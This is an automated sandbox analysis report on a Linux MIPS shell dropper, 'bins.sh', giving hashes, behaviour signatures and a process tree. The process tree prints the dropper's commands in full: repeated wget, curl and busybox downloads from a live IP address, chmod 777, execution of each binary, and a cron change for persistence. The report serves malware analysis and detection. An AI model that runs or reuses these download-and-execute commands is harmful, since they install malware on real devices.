Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/11/2024, 12:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:718
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 777 dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              ./dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Executes dropped EXE
              PID:761
            • /bin/rm
              rm dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:773
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/chmod
                chmod 777 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • File and Directory Permissions Modification
                PID:788
              • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                ./3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Executes dropped EXE
                PID:789
              • /bin/rm
                rm 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                  PID:794
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /bin/chmod
                  chmod 777 RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • File and Directory Permissions Modification
                  PID:805
                • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  ./RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Executes dropped EXE
                  PID:806
                • /bin/rm
                  rm RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                    PID:808
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:810
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /bin/chmod
                    chmod 777 r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:812
                  • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    ./r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:813
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:815
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:816
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:817
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:818
                      • /bin/rm
                        rm r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                        2⤵
                          PID:820
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                          2⤵
                            PID:823
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                            2⤵
                              PID:824
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • Writes file to tmp directory
                              PID:825
                            • /bin/chmod
                              chmod 777 ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • File and Directory Permissions Modification
                              PID:828
                            • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              ./ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • Executes dropped EXE
                              PID:829
                            • /bin/rm
                              rm ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                                PID:832
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                2⤵
                                  PID:834
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                    PID:835
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:837
                                  • /bin/chmod
                                    chmod 777 W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:843
                                  • /tmp/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                    ./W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                    2⤵
                                    • Executes dropped EXE
                                    PID:844
                                  • /bin/rm
                                    rm W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                    2⤵
                                      PID:846
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                      2⤵
                                        PID:848

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG

                                      Filesize

                                      117KB

                                      MD5

                                      849fa04ef88a8e8de32cb2e8538de5fe

                                      SHA1

                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                      SHA256

                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                      SHA512

                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                    • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc

                                      Filesize

                                      141KB

                                      MD5

                                      3ca8decdb1e52c423c521bfff02ac200

                                      SHA1

                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                      SHA256

                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                      SHA512

                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                    • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /var/spool/cron/crontabs/tmp.qA20A2

                                      Filesize

                                      210B

                                      MD5

                                      16c2b334146c59355b3647318a33a07e

                                      SHA1

                                      3999909640b137096e4c9aefffb7b260f97cc118

                                      SHA256

                                      b05d08e40df24bd4f1eaa226cc1a5243574d7effcc4f871719f2a8102fae8905

                                      SHA512

                                      48d625b223b7db769be95cd71210d7efb385e08b173014aaf5133c92e4dc7afc05a082f2f9185d617bff839148384d9360eb991e967fde0db1c18f415e32493b